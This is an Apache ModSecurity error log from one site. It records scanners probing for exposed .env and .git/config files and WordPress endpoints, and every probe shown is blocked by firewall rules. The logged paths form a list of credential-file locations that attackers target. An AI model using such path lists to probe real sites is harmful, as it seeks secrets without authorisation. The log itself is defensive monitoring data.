[Fri Nov 28 01:05:38.471178 2025] [:error] [pid 4383:tid 4388] [client 18.143.130.198:48350] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.swp"] [unique_id "aSiE4sz_GFZW1PUriwnSBgAAAEM"]
[Fri Nov 28 01:05:38.863045 2025] [:error] [pid 3881:tid 3911] [client 18.143.130.198:48434] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.tmp"] [unique_id "aSiE4hcpoSIeot8NFmRY5QAAAAA"]
[Fri Nov 28 01:05:39.254184 2025] [:error] [pid 3968:tid 3984] [client 18.143.130.198:48494] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dist"] [unique_id "aSiE4yCkRPBiCvBkrb1JmwAAAQ4"]
[Fri Nov 28 01:05:39.647841 2025] [:error] [pid 4383:tid 4391] [client 18.143.130.198:48596] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/admin/.env"] [unique_id "aSiE48z_GFZW1PUriwnSCQAAAEY"]
[Fri Nov 28 01:05:40.044314 2025] [:error] [pid 3881:tid 3914] [client 18.143.130.198:48668] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/admin/.env.save"] [unique_id "aSiE5BcpoSIeot8NFmRY6wAAAAM"]
[Fri Nov 28 01:05:40.440425 2025] [:error] [pid 3880:tid 3898] [client 18.143.130.198:48776] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/admin/.env.bak"] [unique_id "aSiE5BLsHNAClWGu1G6BfwAAAU4"]
[Fri Nov 28 01:05:40.831091 2025] [:error] [pid 4383:tid 4407] [client 18.143.130.198:48862] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/admin/.env.old"] [unique_id "aSiE5Mz_GFZW1PUriwnSCgAAAFY"]
[Fri Nov 28 01:05:41.227913 2025] [:error] [pid 3880:tid 3896] [client 18.143.130.198:48962] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env"] [unique_id "aSiE5RLsHNAClWGu1G6BgwAAAUw"]
[Fri Nov 28 01:05:41.620212 2025] [:error] [pid 3968:tid 3979] [client 18.143.130.198:49062] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env.save"] [unique_id "aSiE5SCkRPBiCvBkrb1JoQAAAQk"]
[Fri Nov 28 01:05:42.012245 2025] [:error] [pid 3968:tid 3981] [client 18.143.130.198:49152] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env.bak"] [unique_id "aSiE5iCkRPBiCvBkrb1JogAAAQs"]
[Fri Nov 28 01:05:42.409776 2025] [:error] [pid 3881:tid 3925] [client 18.143.130.198:49230] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env.old"] [unique_id "aSiE5hcpoSIeot8NFmRY8QAAAA4"]
[Fri Nov 28 01:05:42.806530 2025] [:error] [pid 3880:tid 3890] [client 18.143.130.198:49338] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env"] [unique_id "aSiE5hLsHNAClWGu1G6BiAAAAUY"]
[Fri Nov 28 01:05:43.200652 2025] [:error] [pid 3881:tid 3915] [client 18.143.130.198:49428] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env.save"] [unique_id "aSiE5xcpoSIeot8NFmRY9QAAAAQ"]
[Fri Nov 28 01:05:43.609971 2025] [:error] [pid 4383:tid 4402] [client 18.143.130.198:49512] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env.bak"] [unique_id "aSiE58z_GFZW1PUriwnSDgAAAFE"]
[Fri Nov 28 01:05:44.003231 2025] [:error] [pid 3881:tid 3926] [client 18.143.130.198:49592] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env.old"] [unique_id "aSiE6BcpoSIeot8NFmRY9wAAAA8"]
[Fri Nov 28 01:05:44.395773 2025] [:error] [pid 3882:tid 3962] [client 18.143.130.198:49662] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/config/.env"] [unique_id "aSiE6OBkYoz3-AxCad-_JwAAAdg"]
[Fri Nov 28 01:05:44.786309 2025] [:error] [pid 3968:tid 3978] [client 18.143.130.198:49752] [client 18.143.130.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/config/.env.save"] [unique_id "aSiE6CCkRPBiCvBkrb1JpgAAAQg"]
[Fri Nov 28 04:19:15.021083 2025] [:error] [pid 13757:tid 13781] [client 34.23.100.100:52614] [client 34.23.100.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.23.100.100, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aSiyQ7GFOJUZiUffA2ycGgAAARY"]
[Fri Nov 28 04:19:15.031850 2025] [proxy_fcgi:error] [pid 13757:tid 13781] [client 34.23.100.100:52614] AH01071: Got error 'Primary script unknown'
[Fri Nov 28 04:19:17.583451 2025] [:error] [pid 13757:tid 13781] [client 34.23.100.100:52614] [client 34.23.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aSiyRbGFOJUZiUffA2ycKwAAARY"]
[Fri Nov 28 04:19:18.002355 2025] [:error] [pid 47580:tid 47643] [client 34.23.100.100:57779] [client 34.23.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aSiyRnOiIFZHC-2Itw0MxgAAAIc"]
[Fri Nov 28 04:19:18.443330 2025] [:error] [pid 47580:tid 47652] [client 34.23.100.100:62007] [client 34.23.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aSiyRnOiIFZHC-2Itw0MygAAAJA"]
[Fri Nov 28 04:19:18.869565 2025] [:error] [pid 47580:tid 47646] [client 34.23.100.100:57018] [client 34.23.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aSiyRnOiIFZHC-2Itw0MzQAAAIo"]
[Fri Nov 28 04:19:19.351268 2025] [:error] [pid 47578:tid 47604] [client 34.23.100.100:56440] [client 34.23.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aSiyR9Jl1B6Qt4RLuWjVXQAAABY"]
[Fri Nov 28 04:19:19.774646 2025] [:error] [pid 47665:tid 47686] [client 34.23.100.100:51412] [client 34.23.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aSiyR-KdGkl8FDVPT-DGgAAAANI"]
[Fri Nov 28 05:44:58.406028 2025] [:error] [pid 47580:tid 47645] [client 3.27.159.1:37508] [client 3.27.159.1] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "aSjGWnOiIFZHC-2Itw0rAQAAAIk"]
[Fri Nov 28 05:44:58.406131 2025] [:error] [pid 47578:tid 47584] [client 3.27.159.1:37506] [client 3.27.159.1] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aSjGWtJl1B6Qt4RLuWjwBAAAAAI"]
[Fri Nov 28 05:44:59.020806 2025] [:error] [pid 47580:tid 47647] [client 3.27.159.1:37540] [client 3.27.159.1] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "aSjGW3OiIFZHC-2Itw0rAgAAAIs"]
[Fri Nov 28 05:44:59.021079 2025] [:error] [pid 47580:tid 47630] [client 3.27.159.1:37542] [client 3.27.159.1] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/vendor/.env"] [unique_id "aSjGW3OiIFZHC-2Itw0rAwAAAIA"]
[Fri Nov 28 05:44:59.022059 2025] [:error] [pid 47580:tid 47655] [client 3.27.159.1:37654] [client 3.27.159.1] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/lib/.env"] [unique_id "aSjGW3OiIFZHC-2Itw0rBAAAAJM"]
[Fri Nov 28 05:44:59.022463 2025] [:error] [pid 47665:tid 47686] [client 3.27.159.1:37538] [client 3.27.159.1] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.remote"] [unique_id "aSjGW-KdGkl8FDVPT-DmewAAANI"]
[Fri Nov 28 05:44:59.022896 2025] [:error] [pid 47665:tid 47669] [client 3.27.159.1:37536] [client 3.27.159.1] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSjGW-KdGkl8FDVPT-DmfAAAAME"]
[Fri Nov 28 05:44:59.696893 2025] [:error] [pid 47665:tid 47678] [client 3.27.159.1:37678] [client 3.27.159.1] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/lab/.env"] [unique_id "aSjGW-KdGkl8FDVPT-DmfQAAAMo"]
[Fri Nov 28 05:45:00.533807 2025] [:error] [pid 47665:tid 47671] [client 3.27.159.1:37742] [client 3.27.159.1] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/cronlab/.env"] [unique_id "aSjGXOKdGkl8FDVPT-DmfgAAAMM"]
[Fri Nov 28 05:45:00.907172 2025] [:error] [pid 47579:tid 47625] [client 3.27.159.1:37864] [client 3.27.159.1] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/cron/.env"] [unique_id "aSjGXLZNya7jtKtX3EHMtwAAAFA"]
[Fri Nov 28 05:45:01.361063 2025] [:error] [pid 13757:tid 13774] [client 3.27.159.1:37906] [client 3.27.159.1] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/core/.env"] [unique_id "aSjGXbGFOJUZiUffA2zFVgAAAQ8"]
[Fri Nov 28 05:45:01.858375 2025] [:error] [pid 13757:tid 13769] [client 3.27.159.1:38046] [client 3.27.159.1] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/core/app/.env"] [unique_id "aSjGXbGFOJUZiUffA2zFWQAAAQo"]
[Fri Nov 28 05:45:02.022376 2025] [:error] [pid 13757:tid 13761] [client 3.27.159.1:38326] [client 3.27.159.1] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/core/Datavase/.env"] [unique_id "aSjGXrGFOJUZiUffA2zFWgAAAQI"]
[Fri Nov 28 05:45:02.382849 2025] [:error] [pid 47665:tid 47668] [client 3.27.159.1:38612] [client 3.27.159.1] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/database/.env"] [unique_id "aSjGXuKdGkl8FDVPT-DmgQAAAMA"]
[Fri Nov 28 05:45:02.787096 2025] [:error] [pid 47578:tid 47591] [client 3.27.159.1:38818] [client 3.27.159.1] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/config/.env"] [unique_id "aSjGXtJl1B6Qt4RLuWjwCAAAAAk"]
[Fri Nov 28 05:45:03.135139 2025] [:error] [pid 13757:tid 13772] [client 3.27.159.1:39094] [client 3.27.159.1] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/assets/.env"] [unique_id "aSjGX7GFOJUZiUffA2zFYAAAAQ0"]
[Fri Nov 28 05:45:03.353166 2025] [:error] [pid 47579:tid 47611] [client 3.27.159.1:39386] [client 3.27.159.1] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env"] [unique_id "aSjGX7ZNya7jtKtX3EHMugAAAEI"]
[Fri Nov 28 06:01:16.792139 2025] [:error] [pid 47665:tid 47681] [client 52.214.165.207:45460] [client 52.214.165.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "aSjKLOKdGkl8FDVPT-DstAAAAM0"]
[Fri Nov 28 06:01:16.792391 2025] [:error] [pid 47578:tid 47595] [client 52.214.165.207:45462] [client 52.214.165.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/vendor/.env"] [unique_id "aSjKLNJl1B6Qt4RLuWj0uAAAAA0"]
[Fri Nov 28 06:01:16.792655 2025] [:error] [pid 47665:tid 47683] [client 52.214.165.207:45464] [client 52.214.165.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.local"] [unique_id "aSjKLOKdGkl8FDVPT-DstQAAAM8"]
[Fri Nov 28 06:01:16.792996 2025] [:error] [pid 47665:tid 47668] [client 52.214.165.207:45466] [client 52.214.165.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aSjKLOKdGkl8FDVPT-DstgAAAMA"]
[Fri Nov 28 06:01:16.793721 2025] [:error] [pid 47665:tid 47671] [client 52.214.165.207:45472] [client 52.214.165.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/lab/.env"] [unique_id "aSjKLOKdGkl8FDVPT-DstwAAAMM"]
[Fri Nov 28 06:01:16.793857 2025] [:error] [pid 47665:tid 47690] [client 52.214.165.207:45470] [client 52.214.165.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.remote"] [unique_id "aSjKLOKdGkl8FDVPT-DsuAAAANY"]
[Fri Nov 28 06:01:16.968702 2025] [:error] [pid 47665:tid 47677] [client 52.214.165.207:45468] [client 52.214.165.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.production"] [unique_id "aSjKLOKdGkl8FDVPT-DsuQAAAMk"]
[Fri Nov 28 06:01:16.969106 2025] [:error] [pid 47665:tid 47685] [client 52.214.165.207:45478] [client 52.214.165.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/cronlab/.env"] [unique_id "aSjKLOKdGkl8FDVPT-DsugAAANE"]
[Fri Nov 28 06:01:16.969530 2025] [:error] [pid 47665:tid 47674] [client 52.214.165.207:45476] [client 52.214.165.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/cron/.env"] [unique_id "aSjKLOKdGkl8FDVPT-DsuwAAAMY"]
[Fri Nov 28 06:01:16.970496 2025] [:error] [pid 47578:tid 47598] [client 52.214.165.207:45480] [client 52.214.165.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/lib/.env"] [unique_id "aSjKLNJl1B6Qt4RLuWj0uQAAABA"]
[Fri Nov 28 06:01:17.741170 2025] [:error] [pid 13757:tid 13782] [client 52.214.165.207:45554] [client 52.214.165.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/core/app/.env"] [unique_id "aSjKLbGFOJUZiUffA2zNIQAAARc"]
[Fri Nov 28 06:01:17.741384 2025] [:error] [pid 47665:tid 47670] [client 52.214.165.207:45558] [client 52.214.165.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/core/Datavase/.env"] [unique_id "aSjKLeKdGkl8FDVPT-DsvgAAAMI"]
[Fri Nov 28 06:01:17.742165 2025] [:error] [pid 13757:tid 13772] [client 52.214.165.207:45560] [client 52.214.165.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/database/.env"] [unique_id "aSjKLbGFOJUZiUffA2zNIgAAAQ0"]
[Fri Nov 28 06:01:17.742257 2025] [:error] [pid 47578:tid 47594] [client 52.214.165.207:45556] [client 52.214.165.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/core/.env"] [unique_id "aSjKLdJl1B6Qt4RLuWj0ugAAAAw"]
[Fri Nov 28 06:01:17.742871 2025] [:error] [pid 13757:tid 13783] [client 52.214.165.207:45562] [client 52.214.165.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/assets/.env"] [unique_id "aSjKLbGFOJUZiUffA2zNIwAAARg"]
